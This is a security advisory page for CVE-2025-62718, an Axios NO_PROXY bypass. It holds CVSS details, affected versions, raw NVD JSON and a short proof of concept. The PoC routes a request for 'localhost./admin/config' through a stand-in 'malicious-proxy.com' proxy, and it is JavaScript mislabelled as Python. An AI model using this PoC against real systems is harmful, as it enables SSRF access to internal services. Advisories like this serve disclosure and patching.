Security Vulnerability Report
中文
CVE-2025-62718 CVSS 9.9 CRITICAL

CVE-2025-62718

Published: 2026-04-09 15:16:09
Last Modified: 2026-05-21 20:38:54

Description

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.0 and 0.31.0, Axios does not correctly handle hostname normalization when checking NO_PROXY rules. Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy. This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services. This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections. This vulnerability is fixed in 1.15.0 and 0.31.0.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:* - VULNERABLE
Axios < 1.15.0
Axios < 0.31.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2025-62718: Axios NO_PROXY Bypass // Environment variables set: // HTTP_PROXY=http://malicious-proxy.com:8080 // NO_PROXY=localhost const axios = require('axios'); async function exploit() { try { // Standard requests to localhost usually respect NO_PROXY // But using a trailing dot bypasses the check in vulnerable versions const targetUrl = 'http://localhost./admin/config'; console.log(`Sending request to: ${targetUrl}`); // In vulnerable versions, this request goes through the malicious proxy // despite NO_PROXY being set to 'localhost' const response = await axios.get(targetUrl); console.log('Request Successful!'); console.log('Status:', response.status); console.log('Data:', response.data); } catch (error) { console.error('Exploit Failed:', error.message); } } exploit();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62718", "sourceIdentifier": "[email protected]", "published": "2026-04-09T15:16:08.650", "lastModified": "2026-05-21T20:38:54.387", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.0 and 0.31.0, Axios does not correctly handle hostname normalization when checking NO_PROXY rules. Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy. This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services. This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections. This vulnerability is fixed in 1.15.0 and 0.31.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 5.3}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-441"}, {"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "0.31.0", "matchCriteriaId": "E420AFD0-4C1B-4C44-A578-D6B90BF40F08"}, {"vulnerable": true, "criteria": "cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.15.0", "matchCriteriaId": "E0DF6CEE-CC97-4C5F-A81B-6F1A6D77D4CC"}]}]}], "references": [{"url": "https://datatracker.ietf.org/doc/html/rfc1034#section-3.1", "source": "[email protected]", "tags": ["Technical Description"]}, {"url": "https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2", "source": "[email protected]", "tags": ["Technical Description"]}, {"url": "https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/axios/axios/pull/10661", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/axios/axios/pull/10688", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/axios/axios/releases/tag/v0.31.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/axios/axios/releases/tag/v1.15.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisor ... (truncated)